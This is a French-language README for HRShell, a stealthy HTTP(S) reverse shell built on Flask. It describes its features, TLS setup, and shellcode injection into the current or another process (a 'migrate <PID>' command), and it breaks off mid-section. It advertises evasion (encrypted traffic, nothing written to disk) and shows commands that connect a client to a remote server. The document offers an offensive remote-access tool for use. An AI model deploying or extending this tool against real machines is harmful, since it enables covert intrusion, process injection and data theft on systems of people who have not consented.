HRShell

HRShell est un shell inverse HTTPS/HTTP construit avec flask et compatible avec python 3.x. Le client.py a été testé avec succès sur :

• Linux ubuntu 18.04 LTS, Kali Linux 2019.3
• macOS Mojave/Catalina
• Windows 7/10

tandis que le server.py est compatible avec les systèmes Unix (support Windows bientôt...)

Fonctionnalités

• Furtif
• Support TLS 🔑
  • Soit en utilisant des certificats à la volée ou
  • En spécifiant une paire cert/key (plus de détails ci-dessous...)
• Injection de shellcode 💉 (plus de détails ci-dessous...)
  • Injection de shellcode dans un thread/processus dérivé du processus en cours
    • Plateformes supportées jusqu'à présent :
      • Windows x86
      • Unix x86
      • Unix x64
  • ou injection de shellcode dans un autre processus (migrate <PID>) en spécifiant son PID
    • Plateformes supportées jusqu'à présent :
      • Windows x86
      • Windows x64
• Le shellcode peut être défini/modifié à la volée depuis le serveur (plus de détails ci-dessous...)
• Support du proxy côté client.
• Navigation dans les répertoires (commande cd et variantes).
• Commande interactive history disponible sur les systèmes Unix.
• Commandes download/upload/screenshot/hex disponibles.
• Support du pipelining (|) et des commandes chaînées (;)
• Support de toutes les commandes non interactives (comme gdb, top, etc.)
• Le serveur est compatible HTTP et HTTPS.
• Livré avec deux serveurs intégrés 🌐 pour l'instant... flask intégré & tornado-WSGI tout en étant compatible avec d'autres serveurs de production comme gunicorn et Nginx.
• server.py et client.py sont facilement extensibles.
• Comme la plupart des fonctionnalités proviennent de la conception des points de terminaison du serveur, il est très facile d'écrire un client dans n'importe quel autre langage par exemple Java, GO, etc.

_{*Pour les changements de version, consultez le CHANGELOG.}

Détails

---

Furtif :shipit:

HRShell est furtif car il utilise le protocole HTTP(S) comme méthode de communication entre le client et le serveur. De plus, lorsque TLS est utilisé, le trafic est également chiffré. Aussi, si le CERT n'est pas codé en dur côté client (ce qui est une option possible) et que la commande upload n'est pas utilisée, alors client.py n'écrit rien sur le disque.

TLS 🔑

Côté serveur : Sauf si l'option --http est spécifiée, par défaut server.py est en HTTPS en utilisant des certificats à la volée, car les certificats à la volée sont une fonctionnalité intégrée de Flask. Mais si l'option -s tornado est spécifiée pour que le serveur utilise TLS, les options --cert et --key doivent être spécifiées comme ceci :

python server.py -s tornado --cert /chemin/cert.pem --key /chemin/key.pem

Des certificats "réels" peuvent être utilisés, ou une autre façon de générer une paire cert/key est par exemple en utilisant mkcert ou openssl directement comme ceci :

openssl req -x509 -newkey rsa:4096 -nodes -out cert.pem -keyout key.pem -days 365

Une paire cert/key peut également être utilisée avec le serveur Flask :

python server.py --cert /chemin/cert.pem --key /chemin/key.pem

⚠️ Si le serveur utilise TLS, alors par conception le client ne peut pas utiliser http://... pour se connecter au serveur, mais doit explicitement utiliser https à la place.

Côté client : Par défaut, la vérification SSL du client est désactivée, sauf si :

• soit le paramètre --cert est spécifié par exemple :

  python client.py -s https://192.168.10.7:5000 --cert /chemin/cert.pem
  

• soit la variable CERT, au lieu de la valeur par défaut None, est définie au préalable avec un certificat valide par exemple :

  CERT = """
  -----BEGIN CERTIFICATE-----
  MIIBoDCCAUoCAQAwDQYJKoZIhvcNAQEEBQAwYzELMAkGA1UEBhMCQVUxEzARBgNV
  BAgTClF1ZWVuc2xhbmQxGjAYBgNVBAoTEUNyeXB0U29mdCBQdHkgTHRkMSMwIQYD
  VQQDExpTZXJ2ZXIgdGVzdCBjZXJ0ICg1MTIgYml0KTAeFw05NzA5MDkwMzQxMjZa
  ...
  -----END CERTIFICATE-----
  """
  

  Dans ce cas, client.py tentera de créer un fichier caché .cert.pem à la volée et l'utilisera à la place.

⚠️ Le fait que la vérification SSL soit désactivée par défaut sur le client ne signifie en aucun cas que TLS est également désactivé, TLS sera activé si le serveur l'utilise - donc TLS dépend entièrement du serveur. L'option --cert côté client est simplement une autre manière pour que le serveur-client ait une session chiffrée, et c'est tout.

Injection de shellcode 💉

Il existe deux "modes" d'injection de shellcode, utilisant respectivement les deux commandes suivantes :

1. migrate <PID> : En utilisant cette commande, nous pouvons injecter un shellcode dans l'espace mémoire d'un autre processus en spécifiant son PID. Pour l'instant, cette commande ne peut être appliquée que sur les plateformes Windows x86/x64 !

2. inject shellcode : En utilisant cette commande, un nouveau thread (ou un processus dérivé sur les systèmes Unix) de notre processus actuel est créé et l'injection du shellcode se produit dans son espace mémoire. En conséquence, notre shell HTTP(S) n'est pas affecté par l'injection. Les plateformes où cette commande peut être appliquée sont : Unix x86/x64, Windows x86 !

Notes

• Si l'injection se produit sur un processus, les permissions du processus jouent un rôle très important. Il n'est pas toujours possible d'injecter sur n'importe quel processus en raison d'un manque de privilèges appropriés.

Définir/Modifier le shellcode

Il y a deux façons de spécifier/définir le type de shellcode que vous voulez que le client exécute :